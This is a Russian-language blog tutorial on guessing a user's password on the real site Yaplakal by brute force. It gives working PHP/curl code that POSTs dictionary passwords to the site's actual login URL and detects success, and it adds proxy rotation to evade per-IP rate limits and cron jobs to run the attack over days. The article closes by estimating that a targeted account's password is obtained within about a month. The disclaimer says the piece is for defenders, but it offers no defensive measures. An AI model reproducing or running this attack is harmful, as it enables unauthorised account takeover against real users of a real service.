Как узнать пароль пользователя на сайте на примере япа



Внимание! Автор статьи не несет никакой ответственности за действия читателей и предупреждает, что неправомерный доступ к информации незаконен! Данная статья выложена исключительно с целью ознакомления с одним из способов взлома веб сайтов и не может служить руководством к реальному действию. Материал предназначен для начинающих веб разработчиков, чтобы они могли примерно представлять себе мысли взломщика хакера и успешно противостоять взлому: создавать эффективную защиту от подбора паролей.

Преподаватели в университете говорят, что лучше всего учиться на примере. Запоминание и осмысление информации гораздо лучше происходит, если сухая теория разбавляется живой демонстрацией. Именно так мы и поступим в данном случае: разберем алгоритм доступа к паролю пользователя на примере сайта Яплакаль. В своем примере мне понадобится следующее:

  • Хостинг с возможностью исходящих соединений;
  • язык PHP;
  • поддержка Curl с отправкой POST;
  • файл с паролями (или словарь);
  • Cron;
  • подключение и парсинг прокси (опционально).
Примечание: полное решение задачи по взлому сайта (с подробностями) я выкладывать не буду – специалист сам разберется, а для начинающих хакеров есть другие ресурсы. Или услуги специалиста :)

Исследуем форму авторизации

Предположим, что мы определили цель – имеем логин пользователя. Нам требуется узнать, с помощью какого пароля он заходит на сайт. Если мы посмотрим на главную страницу сайта (откроем её исходный код), то увидим, что форма авторизации отсылает данные POST-запроса на страницу с адресом «//www.yaplakal.com/act/Login/CODE/01/». При этом, помимо двух основных полей (логин и пароль) отсылаются еще скрытые поля, но, скажу сразу – они не имеют значения для подбора пароля.



Получаем и обрабатываем страницу

Создадим функцию получения веб-страниц с помощью Curl - get_page:

function get_page($url, $uagent, $us, $pas )
{
  $ch = curl_init($url);

  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   
  curl_setopt($ch, CURLOPT_HEADER, 0);           
  curl_setopt($ch, CURLOPT_ENCODING, "");       
  curl_setopt($ch, CURLOPT_USERAGENT, $uagent);  
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); 
  curl_setopt($ch, CURLOPT_TIMEOUT, 120);        
  curl_setopt($ch, CURLOPT_MAXREDIRS, 10);       
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, "UserName=".$us."&PassWord=".$pas);
 
  $content = curl_exec( $ch );
  $err     = curl_errno( $ch );
  $errmsg  = curl_error( $ch );
  $header  = curl_getinfo( $ch );
  curl_close( $ch );

  $header['errno']   = $err;
  $header['errmsg']  = $errmsg;
  $header['content'] = $content;
  return $header;
}
Ничего необычного вы здесь не увидите. Функция принимает на вход 4 параметра (адрес, юзер агент, логин и пароль), а на выходе выдает страницу. Пожалуй, советую обратить внимание только на строки 12 и 13: в них мы определяем, что не просто устанавливаем исходящее соединение, а еще и добавляем в curl параметр Post. Получаемую страницу мы обрабатываем с помощью такой процедуры:

$addr = "http://www.yaplakal.com/act/Login/CODE/01/";
$lines = file('http://site.com/pass.txt');
$us = "логин";
$uagent ="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";

for ($i=0;$i<1000;$i++) {
$pas= rtrim(str_replace("\n", "", $lines[$i])); //убираем знак перехода и возможный пробел сначала
	
$result = get_web_page($addr, $uagent, $us, $pas);
if (($result['errno'] != 0 )||($result['http_code'] != 200))
    {
	echo $result['errmsg'];
	}
else
	{
	$page = $result['content'];

if (substr_count($page, "Неверный пароль")<1)	//проверяем сколько раз встречается строка в странице
{
echo "Пароль:".$pas;
die();	
}
}
}
Здесь все до безобразия просто: читаем файл с паролями в массив и пробуем. 1000 раз. Если в ответ выдается страница, в которой отсутствует фраза "Неверный пароль", то прекращаем работу скрипта и выводим на экран подошедший пароль.

Файл с паролями

Интересный момент: а что это за файл pass.txt? Это файл с паролями. Для брутфорса существуют специальные словари, с помощью которых хакеры подбирают пароли. Зачем они нужны? Дело в том, что действую просто перебором, мы даже в самом маленьком пароле для япа (минимальная длина – 8 символов) получаем 256289062500000000 вариантов. Многовато, не правда ли?

Словари с паролями можно составить и самостоятельно. Например, в одной своей статье я показывал самые популярные пароли для mail.ru – можно взять их – в файле почти 200 тысяч паролей.

Однако, стоит отметить, что перед взломщиком здесь встает проблема: за один раз даже 200 тысяч паролей не получится обработать. Во-первых, на каждом хостинге стоит ограниченное время исполнения php-скрипта – ресурсы сервера ограничены. Кроме этого, на каждом уважающем себя сайте стоит хотя бы минимальная защита от такого грубого брутфорса. Например, интернет магазины часто ставят ограничение на количество подключающихся ip в сутки – 2000 запросов хватает обычному пользователю, а не занимающемуся парсингом сайта.

Прокси

Второе затруднение мы можем обойти с помощью прокси. Например, можно брать бесплатные прокси тут. С помощью того же curl просто парсить эту страничку и подставлять полученный ip и порт. Только придется затем немного доработать нашу функцию get_page – добавить пару строк:

curl_setopt ($ch, CURLOPT_PROXY, "202.153.130.214:80"); 
curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
В первой адрес и порт прокси, а во второй указываем тип.

Однако, бесплатные прокси не панацея – нередко, даже с уже опробованными браузер может выдать вот такое:



Да и первая проблема никуда не делась – время работы скрипта не уменьшилось. Обойти эту проблему можно с помощью запуска скрипта по расписанию.

Cron

На всех платных хостингах, в том числе и на моем, есть возможность запускать скрипты по расписанию. Зададим, например, выполнение нашего скрипта раз в час:



Сама строка сценария (пример):

/usr/bin/php5.6 /home/u/up/upread.ru/cron.php
Тут "/usr/bin/php5.6" - это интерпретатор, "/home/u/up/"— путь до домашней директории (вам надо будет определить его самостоятельно на своем хостинге), а "upread.ru/cron.php" - это уже непосредственно скрипт, который будет подбирать пароли.

Небольшие доработки

Наш скрипт подбора требуется немного доработать. Надо сделать так, чтобы данные куда-то записывались – или в базу данных или в файл. Это несложно, поэтому я пропускаю подробности. Алгоритм тут такой: в конце работы скрип, когда закончит проверять очередную партию паролей, просто записывает номер строки последнего – а файл cron.php через определенное время начинает уже со следующей по порядку.

Итог

Для сайта пациента (яп) параметры на данный момент оказались такими: сайт выдерживает до 1000 запросов со одного ip каждые полчаса. То есть, по 2000 в час или 48 тысяч в сутки. На самом деле это неплохие параметры – обычно защита гораздо строже. Это значит, что наш файл с самыми распространенными паролями от mail.ru проверится полностью меньше, чем за 4 суток. А если взять файл с 16 миллионами паролей? На это с помощью одного потока уйдет более 300-х суток! Однако, так как это выполняет сервер, то вам то какая разница? Плюс подключить десяток прокси – и через месяц с большой вероятностью у вас будет пароль от нужного аккаунта.

Дополнение

Стоит отметить, что взломщики аккаунтов (подборщики паролей) нередко действуют по другой схеме: они парсят с сайта имена (логины) пользователей и с помощью самостоятельно составленного словаря паролей подбирают к ним. То есть атака идет на кого-то конкретного, а «широким фронтом».

В заключение хочу еще раз повторить, что информация предоставлена исключительно для законопослушных веб-мастеров и пользователей, заботящихся о собственной безопасности. Если у вас есть какие-либо вопросы, то я с удовольствием на них отвечу – за небольшое вознаграждение. Напишу любую программу или создам сайт.
Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.

тегистатьи IT, php, curl, пароли, POST-запрос




Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.




Матрица Тёплица на Java
Воспроизведение mp3 на C#: пример и плеер
Программа "Background copy": Фоновое копирование файлов